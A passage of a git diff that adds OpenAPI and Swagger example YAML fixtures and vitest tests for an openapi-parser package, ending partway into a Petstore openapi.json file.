+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/fuzz1/f8c97f2c-efa9-4a93-bd39-e7008df12b47.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.2
+info:
+  title: magna Duis ipsum
+  version: occaecat amet Ut ex nisi
+paths:
+  /: {}
+tags:
+  - name: ex
+    description: ullamco proident
+x-testcase: 'within array test: should work with all required properties'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..bf55995
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_parameters.md.yaml
@@ -0,0 +1,13 @@
+openapi: 3.0.0
+info:
+  title: The simplest parameter example
+  version: 1.0.0
+paths:
+  /customer/{id}:    # https://api.example.org/customer/72
+    parameters:
+    - name: id
+      in: path
+      required: true
+      schema:
+        type: integer
+        title: A unique identifier for the customer
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_requestbody.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_requestbody.md.yaml
new file mode 100644
index 0000000..5031eda
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_requestbody.md.yaml
@@ -0,0 +1,21 @@
+swagger: 2.0
+info:
+  title: Example of request body in 2.0
+  version: 1.0.0
+
+paths:
+  /opinions:
+    post:
+      consumes:
+       - text/plain
+      parameters:
+        - name: AnOpinion
+          in: body
+          schema:
+            type: string
+          examples:
+            text/plain:
+              I think the V3 way is cleaner
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_servers.md.yaml
new file mode 100644
index 0000000..6fe7961
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Different_servers.md.yaml
@@ -0,0 +1,11 @@
+swagger: 2.0
+info:
+  title: How server used to be identified
+  version: 1.0.0
+
+basePath: /api
+host: www.acme.com
+schemes: ["https"]
+
+paths: {}
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_file.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_file.md.yaml
new file mode 100644
index 0000000..12989e1
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_file.md.yaml
@@ -0,0 +1,22 @@
+openapi: 3.0.0
+info:
+  title: API to upload a file
+  version: 1.0.0
+paths:
+  /files/{filename}:
+    put:
+      parameters:
+        - name: filename
+          in: path
+          required: true
+          schema:
+            type: string
+      requestBody:
+        content:
+          application/octet-stream:
+            schema:
+              type: string
+              format: binary
+      responses:
+        default:
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_multipart.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_multipart.md.yaml
new file mode 100644
index 0000000..ef90415
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Fixed_multipart.md.yaml
@@ -0,0 +1,30 @@
+openapi: 3.0.0
+info:
+  title: Example of HTML forms
+  version: 1.0.0
+paths:
+  '/submit':
+    post:
+      requestBody:
+        content:
+          application/x-www-urlencoded-form:
+            schema:
+              type: object
+              properties:
+                street:
+                  type: string
+                city:
+                  type: string
+                province:
+                  type: string
+                country:
+                  type: string
+                postcode:
+                  type: string
+                tags:
+                  type: array
+                  items:
+                    type: string
+      responses:
+        '200':
+          description: Great Success!
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_examples.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_examples.md.yaml
new file mode 100644
index 0000000..89a5132
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_examples.md.yaml
@@ -0,0 +1,45 @@
+openapi: 3.0.0
+info:
+  title: Examples of the new example object
+  version: 1.0.0
+paths:
+  '/names':
+    get:
+      responses:
+        '200':
+          description: OK
+          content:
+            'application/json': 
+              schema:
+                type: array
+                items:
+                  type: string
+              examples:
+                list:
+                  summary: List of Names
+                  description: |- 
+                                    A long and _very_ detailed description of this representation that includes rich text.
+                  value:
+                    - Bob
+                    - Diane
+                    - Mary
+                    - Bill
+                empty:
+                  summary: Empty
+                  value: [ ]
+            'application/xml': 
+              examples:
+                list:
+                  summary: List of names
+                  value: "<Users><User name='Bob'/><User name='Diane'/><User name='Mary'/><User name='Bill'/></Users>"
+                empty:
+                  summary: Empty list
+                  value: "<Users/>"
+            'text/plain':
+              examples:
+                list:
+                  summary: List of names
+                  value: "Bob,Diane,Mary,Bill"
+                empty:
+                  summary: Empty
+                  value: ""
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_pathdescriptions.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_pathdescriptions.md.yaml
new file mode 100644
index 0000000..d1c2859
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_pathdescriptions.md.yaml
@@ -0,0 +1,32 @@
+openapi: 3.0.0
+info:
+  title: Example of documenting paths instead of operations
+  version: 1.0.0
+paths:
+  '/speakers':
+    summary: A set of speakers
+    description: |- 
+      This resource is a set of speakers presenting at a conference.  Speakers information can be represented in either `text/plain`, or `application/vnd.collection+json`
+    get:
+      responses:
+        '200':
+          description: List of speakers
+          content: 
+            text/plain: {}
+            application/vnd.collection+json: {}
+    post:
+      description: |- 
+        Use a `application/x-www-urlencoded-form` to send speaker related information
+      responses:
+        '201':
+          description: Acknowledge creation of a new speaker resource
+          headers:
+            Location:
+              schema: 
+                type: string
+                format: uri
+    delete:
+      responses:
+        '204':
+          description: Acknowledge successful deleted
+          
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_securityschemes.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_securityschemes.md.yaml
new file mode 100644
index 0000000..27c12d8
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_securityschemes.md.yaml
@@ -0,0 +1,25 @@
+openapi: 3.0.0
+info:
+  title: All kinds of security options using the Authorization header
+  version: 1.0.0
+components:
+  securitySchemes:
+    basic:
+      type: http
+      scheme: basic
+    bearer:
+      type: http
+      scheme: bearer
+      bearerFormat: JWT
+    oauth1:
+      type: http
+      scheme: oauth
+    digest:
+      type: http
+      scheme: digest
+security:
+- basic: []
+- bearer : []
+- oauth1 : []
+- digest : []
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_serverseverywhere.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_serverseverywhere.md.yaml
new file mode 100644
index 0000000..6cab2a8
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._Improved_serverseverywhere.md.yaml
@@ -0,0 +1,50 @@
+openapi: 3.0.0
+info:
+  title: Servers Everywhere
+  version: 1.0.0
+servers:
+- url: https://api.example.com
+paths:
+  '/passports/{id}':
+    parameters:
+    - name: id
+      in: path
+      required: true
+      schema:
+        type: string
+    get:
+      responses:
+        '200': 
+          description: Ok
+    post:
+      servers:                    # Write operation on a different server
+      - url: https://supersecure-api.example.com
+      requestBody:
+        content:
+          application/json:
+            schema: {}
+      responses:
+        '200': 
+          description: Ok
+  '/images/{filename}':
+    summary: Pictures of people
+    servers:                      # Static resources on a different server
+    - url: https://static.example.com
+    parameters:
+    - name: filename
+      in: path
+      required: true
+      schema:
+        type: string
+    get: 
+      responses:
+        '200':
+          description: Ok
+    put:
+      responses:
+        '200':
+          description: Ok
+    delete:  
+      responses:
+        '200':
+          description: Ok
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_callbacks.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_callbacks.md.yaml
new file mode 100644
index 0000000..a4cc7c3
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_callbacks.md.yaml
@@ -0,0 +1,26 @@
+openapi : 3.0.0
+info:
+  title: A simple webhook subscription
+  version: 1.0.0
+paths: 
+  '/subscribe':
+    post:
+      requestBody:
+        content:
+          application/json: 
+            schema:
+              type: object
+              properties:
+                url: 
+                  type: string
+                  format: uri 
+      responses:
+        '201':
+          description: Created subscription to webhook
+      callbacks:
+        mainHook:
+          '$request.body#/url':
+            post:
+              responses:
+                '200':
+                  description: webhook successfully processed
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_links.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_links.md.yaml
new file mode 100644
index 0000000..03c911d
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example1_from_._New_links.md.yaml
@@ -0,0 +1,51 @@
+openapi: 3.0.0
+info:
+  title: Simplest Link
+  version: 1.0.1
+paths:
+  '/users/{username}':
+    get: 
+      parameters:
+        - name: username
+          in: path
+          required: true
+          schema:
+            type: string
+      responses:
+        '200': 
+          description: A representation of a user
+          content: 
+            application/json: 
+              schema:
+                type: object
+                properties:
+                  id: 
+                    type: integer
+                  firstname:
+                    type: string
+                  lastname:
+                    type: string
+              example:
+                id: 243
+                firstname: Reginald
+                lastname: McDougall
+          links:
+            userPhotoLink:
+              operationId: getPhoto
+              parameters:
+                userid: $response.body#/id
+  '/users/{userid}/photo':
+    get: 
+      operationId: getPhoto
+      parameters:
+        - name: userid
+          in: path
+          required: true
+          schema:
+            type: integer
+      responses:
+        '200':
+          description: A photo image
+          content:
+            image/jpeg: {}
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..cb7fb8b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_parameters.md.yaml
@@ -0,0 +1,14 @@
+openapi: 3.0.0
+info:
+  title: A parameter with an array of ints
+  version: 1.0.0
+paths:
+  /customers:      # https://api.example.org/customers?ids=34,45,67
+    parameters:
+    - name: ids
+      in: query
+      style: form
+      schema:
+        type: array
+        items:
+          type: integer
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_requestbody.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_requestbody.md.yaml
new file mode 100644
index 0000000..325c5a1
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_requestbody.md.yaml
@@ -0,0 +1,22 @@
+openapi: 3.0.0
+info:
+  title: Example of request body in 3.0
+  version: 1.0.0
+paths:
+  /opinions:
+    post:
+      requestBody:
+        description: ''
+        required: true
+        content:
+          text/plain:
+            schema:
+              type: string
+            example:
+              I think the V3 way is cleaner
+          application/json:
+            schema:
+              type: string
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_servers.md.yaml
new file mode 100644
index 0000000..c71eb0d
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Different_servers.md.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.0
+info:
+  title: How servers are identified in V3
+  version: 1.0.0
+
+servers:
+- url: https://prod.acme.com/api
+- url: https://sandbox.acme.com/api
+
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Fixed_multipart.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Fixed_multipart.md.yaml
new file mode 100644
index 0000000..9e59156
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Fixed_multipart.md.yaml
@@ -0,0 +1,40 @@
+openapi: 3.0.0
+info:
+  title: Example of multi-part form
+  version: 1.0.0
+paths:
+  '/submit':
+    post:
+      requestBody:
+        content:
+          multipart/mixed:
+            schema:
+              type: object
+              properties:
+                id:
+                  # default is text/plain
+                  type: string
+                  format: uuid
+                address:
+                  # default is application/json
+                  type: object
+                  properties: {}
+                historyMetadata:
+                  # need to declare XML format!
+                  description: metadata in XML format
+                  type: object
+                  properties: {}
+                profileImage:
+                  # default is application/octet-stream, need to declare an image type only!
+                  type: string
+                  format: binary
+            encoding:
+              historyMetadata:
+                # require XML Content-Type in utf-8 encoding
+                contentType: application/xml; charset=utf-8
+              profileImage:
+                # only accept png/jpeg
+                contentType: image/png, image/jpeg
+      responses:
+        '200':
+          description: Success!
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Improved_securityschemes.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Improved_securityschemes.md.yaml
new file mode 100644
index 0000000..4ced69e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._Improved_securityschemes.md.yaml
@@ -0,0 +1,28 @@
+openapi: 3.0.0
+info:
+  title: OAuth2 with multiple flows
+  version: 1.0.0
+components:
+  securitySchemes:
+    myOauth2:
+      type: oauth2
+      flows: 
+        implicit:
+          authorizationUrl: https://example.com/api/oauth/dialog
+          scopes:
+            write:pets: modify pets in your account
+            read:pets: read your pets
+        authorizationCode:
+          authorizationUrl: https://example.com/api/oauth/dialog
+          tokenUrl: https://example.com/api/oauth/token
+          refreshUrl: https://example.com/api/oauth/refresh
+          scopes:
+            write:pets: modify pets in your account
+            read:pets: read your pets
+    myOpenIdConnect:
+      type: openIdConnect
+      openIdConnectUrl: https://example.com/.well-known/openid-connect
+security:
+- myOauth2: []
+- myOpenIdConnect: []
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_callbacks.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_callbacks.md.yaml
new file mode 100644
index 0000000..bf97c95
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_callbacks.md.yaml
@@ -0,0 +1,51 @@
+openapi: 3.0.0
+info:
+  title: Example of links with callbacks
+  version: 0.9.0
+paths:
+  /hooks:
+    post:
+      requestBody:    
+        description: body provided by consumer with callback URL
+        required: true
+        content:
+          application/json:
+            example:
+              callback-url: https://consumer.com/hookcallback
+      responses:      
+        '201':
+          description: Successfully subscribed
+          content:
+            application/json:
+              example:
+                hookId: 23432-32432-45454-97980
+          links:
+            unsubscribe:
+              operationId: cancelHookCallback
+              parameters: 
+                id: $response.body#/hookId
+      callbacks:
+        hookEvent:
+          '$request.body#/callback-url':
+            post:
+              requestBody:
+                content:
+                  application/json:
+                    example:
+                      message: Here is the event
+              responses:
+                '200':
+                  description: Expected responses from callback consumer
+  /hooks/{id}:
+    delete:
+      operationId: cancelHookCallback
+      parameters:
+        - name: id
+          in: path
+          required: true
+          schema: 
+            type: string
+      responses:
+        '200':
+          description: Successfully cancelled callback
+
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_links.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_links.md.yaml
new file mode 100644
index 0000000..344af9d
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example2_from_._New_links.md.yaml
@@ -0,0 +1,33 @@
+openapi: 3.0.0
+info:
+  title: Employees and Managers
+  version: 1.0.1
+paths:
+  '/employees/{id}':
+    get:
+      operationId: getEmployeeById
+      parameters:
+        - name: id
+          in: path
+          required: true
+          schema:
+            type: string
+      responses:
+        '200': 
+          description: A representation of an employee
+          content: 
+            application/json: 
+              schema:
+                type: object
+                properties:
+                  id: 
+                    type: string
+                  username:
+                    type: string
+                  managerId:
+                    type: string
+          links:
+            userManager:
+              operationId: getEmployeeById
+              parameters:
+                id: $response.body#managerId
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..84f5d2e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_parameters.md.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.0
+info:
+  title: A version and revision matrix parameter
+  version: 1.0.0
+paths:
+  /{version}{rev}/customers:      # https://api.example.org/v2;rev=2/customers
+    parameters:
+    - name: version
+      in: path
+      required: true
+      schema: 
+        type: string
+    - name: rev
+      in: path
+      required: true
+      style: matrix
+      schema:
+        type: integer
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_servers.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_servers.md.yaml
new file mode 100644
index 0000000..265293b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example3_from_._Different_servers.md.yaml
@@ -0,0 +1,13 @@
+openapi: 3.0.0
+info:
+  title: How server URLs can be templated
+  version: 1.0.0
+
+servers:
+- url: https://{tenant}.acme.com/api/{version}
+  variables:
+    tenant:
+      default: sample  #default is a required field
+    version:
+      default: v2
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example4_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example4_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..5c1cc8e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example4_from_._Different_parameters.md.yaml
@@ -0,0 +1,12 @@
+openapi: 3.0.0
+info:
+  title: A map of parameter values
+  version: 1.0.0
+paths:
+  /customers:      # https://api.example.org/customers?active=true&country=Canada&category=first
+    parameters:
+    - name: filters
+      in: query
+      style: form
+      schema: 
+        type: object
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example5_from_._Different_parameters.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example5_from_._Different_parameters.md.yaml
new file mode 100644
index 0000000..77610a8
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/gluecon/example5_from_._Different_parameters.md.yaml
@@ -0,0 +1,19 @@
+openapi: 3.0.0
+info:
+  title: A map of parameter values
+  version: 1.0.0
+paths:
+  /customers:      # https://api.example.org/customers?active=true&country=Canada&category=first
+    parameters:
+    - name: complexQuery
+      in: query
+      content:
+        application/sparql-query:
+          schema:
+            type: string
+          example: |- 
+            SELECT ?title
+            WHERE
+            {
+              <http://example.org/book/book1> <http://purl.org/dc/elements/1.1/title> ?title .
+            }  
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.test.ts
new file mode 100644
index 0000000..7f5c802
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import hello from './hello.yaml'
+
+describe('hello', () => {
+  it('passes', async () => {
+    const result = await resolve(hello)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.yaml
new file mode 100644
index 0000000..9be7f33
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/hello.yaml
@@ -0,0 +1,20 @@
+openapi: 3.0.0
+info:
+  title: Hello World
+  version: 1.0.0
+paths:
+  /hello:
+    get:
+      parameters:
+        - name: name
+          in: query
+          required: true
+          schema:
+            type: string
+      responses:
+        '200': 
+          description: OK
+          content:
+            'application/json':
+              schema:
+                type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.test.ts
new file mode 100644
index 0000000..9fd1d84
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import minimal from './minimal.yaml'
+
+describe('minimal', () => {
+  it('passes', async () => {
+    const result = await resolve(minimal)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.yaml
new file mode 100644
index 0000000..039d49b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/minimal.yaml
@@ -0,0 +1,6 @@
+---
+openapi: 3.0.0
+info:
+  version: 1.0.0
+  title: Swagger 2.0 Without Scheme
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.test.ts
new file mode 100644
index 0000000..1146e73
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import nonBearerHttpSec from './nonBearerHttpSec.yaml'
+
+describe('nonBearerHttpSec', () => {
+  it('passes', async () => {
+    const result = await resolve(nonBearerHttpSec)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.yaml
new file mode 100644
index 0000000..3565de4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/nonBearerHttpSec.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.1
+info:
+  version: 1.0.0
+  title: API
+paths: {}
+components:
+  securitySchemes:
+    mySS:
+      type: http
+      scheme: Basic
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.test.ts
new file mode 100644
index 0000000..f857661
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import openapi from './openapi.yaml'
+
+describe('openapi', () => {
+  it('passes', async () => {
+    const result = await resolve(openapi)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.yaml
new file mode 100644
index 0000000..039d49b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/openapi.yaml
@@ -0,0 +1,6 @@
+---
+openapi: 3.0.0
+info:
+  version: 1.0.0
+  title: Swagger 2.0 Without Scheme
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/index.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/index.yaml
new file mode 100644
index 0000000..779c71c
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/index.yaml
@@ -0,0 +1,7 @@
+swagger: '2.0'
+info:
+  version: 0.0.0
+  title: Simple API
+paths:
+  /test:
+    $ref: ./subdir1/test.yaml
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/subdir2/ok.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/subdir2/ok.yaml
new file mode 100644
index 0000000..5cb91cd
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/subdir2/ok.yaml
@@ -0,0 +1,4 @@
+type: object
+properties:
+  name:
+    type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/test.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/test.yaml
new file mode 100644
index 0000000..55e8736
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/resolution/twolevel/subdir1/test.yaml
@@ -0,0 +1,6 @@
+get:
+  responses:
+    200:
+      description: OK
+      schema:
+        $ref: ./subdir2/ok.yaml
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.test.ts
new file mode 100644
index 0000000..66875ed
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import server_enum_empty from './server_enum_empty.yaml'
+
+describe.todo('server_enum_empty', () => {
+  it('passes', async () => {
+    const result = await resolve(server_enum_empty)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.yaml
new file mode 100644
index 0000000..1f62d81
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_empty.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+servers:
+  - url: https://example.com/{var}
+    variables:
+      var:
+        enum: []
+        default: a
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.test.ts
new file mode 100644
index 0000000..0bc8888
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import server_enum_unknown from './server_enum_unknown.yaml'
+
+describe.todo('server_enum_unknown', () => {
+  it('passes', async () => {
+    const result = await resolve(server_enum_unknown)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.yaml
new file mode 100644
index 0000000..d45e1cb
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/server_enum_unknown.yaml
@@ -0,0 +1,12 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+servers:
+  - url: https://example.com/{var}
+    variables:
+      var:
+        enum:
+        - a
+        default: b
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/fart.openapi.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/fart.openapi.yaml
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.json
new file mode 100644
index 0000000..683e699
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.json
@@ -0,0 +1,1070 @@
+{
+  "openapi": "3.0.0",
+  "servers": [
+    {
+      "url": "http://petstore.swagger.io/v2"
+    }
+  ],
+  "x-origin": [
+    {
+      "url": "http://petstore.swagger.io/v2/swagger.json",
+      "format": "swagger",
+      "version": "2.0",
+      "converter": {
+        "url": "https://github.com/mermade/swagger2openapi",
+        "version": "2.2.0"
+      }
+    }
+  ],
+  "info": {
+    "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+    "version": "1.0.0",
+    "title": "Swagger Petstore",
+    "termsOfService": "http://swagger.io/terms/",
+    "contact": {
+      "email": "apiteam@swagger.io"
+    },
+    "license": {
+      "name": "Apache 2.0",
+      "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+    }
+  },
+  "tags": [
+    {
+      "name": "pet",
+      "description": "Everything about your Pets",
